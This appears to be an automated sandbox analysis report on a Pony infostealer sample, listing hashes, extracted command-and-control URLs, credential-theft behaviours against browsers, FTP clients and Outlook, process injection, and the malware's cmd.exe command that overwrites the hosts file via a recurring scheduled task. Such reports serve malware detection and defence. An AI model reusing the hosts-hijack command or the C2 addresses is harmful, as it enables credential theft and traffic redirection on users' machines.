Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
11/10/2022, 07:55
Static task
static1
Behavioral task
behavioral1
Sample
4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe
Resource
win7-20220812-en
General
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Target
4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe
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Size
182KB
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MD5
61ab00938b770aa632f5ac13201f1130
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SHA1
b60529bc0d652b12673058442683b905f9765d82
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SHA256
4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38
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SHA512
96bb96e9303f388287b777b34956c208c699769527893f80dfbb528a0e6fc1be45d7092eb8a90e64dbeae52e2235ebc32853addac540a58b222e6535a5bd1468
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SSDEEP
3072:mxgHvAmeq6bKoQfAV7MxO+r6feC5FFe6F/SW9yPA193iOVkPGmUD1elXqaMHe:3HYmeqmKdfA9n+mGC51/S/PA1xkhJ1qs
Malware Config
Extracted
pony
http://dlywptw.info:4915/way/like.php
http://lekgosr.info:4915/way/like.php
Signatures
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Drops file in Drivers directory 3 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File created C:\Windows\system32\drivers\etc\tmp.tmp 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1392 set thread context of 1968 1392 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe 28 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1392 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe -
Suspicious use of AdjustPrivilegeToken 32 IoCs
description pid Process Token: SeImpersonatePrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeTcbPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeChangeNotifyPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeCreateTokenPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeBackupPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeRestorePrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeIncreaseQuotaPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeAssignPrimaryTokenPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeImpersonatePrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeTcbPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeChangeNotifyPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeCreateTokenPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeBackupPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeRestorePrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeIncreaseQuotaPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeAssignPrimaryTokenPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeImpersonatePrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeTcbPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeChangeNotifyPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeCreateTokenPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeBackupPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeRestorePrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeIncreaseQuotaPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeAssignPrimaryTokenPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeImpersonatePrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeTcbPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeChangeNotifyPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeCreateTokenPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeBackupPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeRestorePrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeIncreaseQuotaPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe Token: SeAssignPrimaryTokenPrivilege 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe -
Suspicious use of WriteProcessMemory 17 IoCs
description pid Process procid_target PID 1392 wrote to memory of 1968 1392 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe 28 PID 1392 wrote to memory of 1968 1392 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe 28 PID 1392 wrote to memory of 1968 1392 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe 28 PID 1392 wrote to memory of 1968 1392 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe 28 PID 1392 wrote to memory of 1968 1392 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe 28 PID 1392 wrote to memory of 1968 1392 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe 28 PID 1392 wrote to memory of 1968 1392 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe 28 PID 1392 wrote to memory of 1968 1392 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe 28 PID 1392 wrote to memory of 1968 1392 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe 28 PID 1968 wrote to memory of 520 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe 30 PID 1968 wrote to memory of 520 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe 30 PID 1968 wrote to memory of 520 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe 30 PID 1968 wrote to memory of 520 1968 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe 30 PID 520 wrote to memory of 1628 520 cmd.exe 32 PID 520 wrote to memory of 1628 520 cmd.exe 32 PID 520 wrote to memory of 1628 520 cmd.exe 32 PID 520 wrote to memory of 1628 520 cmd.exe 32 -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook 4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe"C:\Users\Admin\AppData\Local\Temp\4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1392 -
C:\Users\Admin\AppData\Local\Temp\4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exeC:\Users\Admin\AppData\Local\Temp\4301e9d452d068c45d4c49ce1bc5556cda8c9ff73f4fdc34987770bfe2245d38.exe2⤵
- Drops file in Drivers directory
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_win_path
PID:1968 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 12:13:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\7139011aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"3⤵
- Drops file in Drivers directory
- Suspicious use of WriteProcessMemory
PID:520 -
C:\Windows\SysWOW64\at.exeat 12:13:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\7139011aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"4⤵PID:1628
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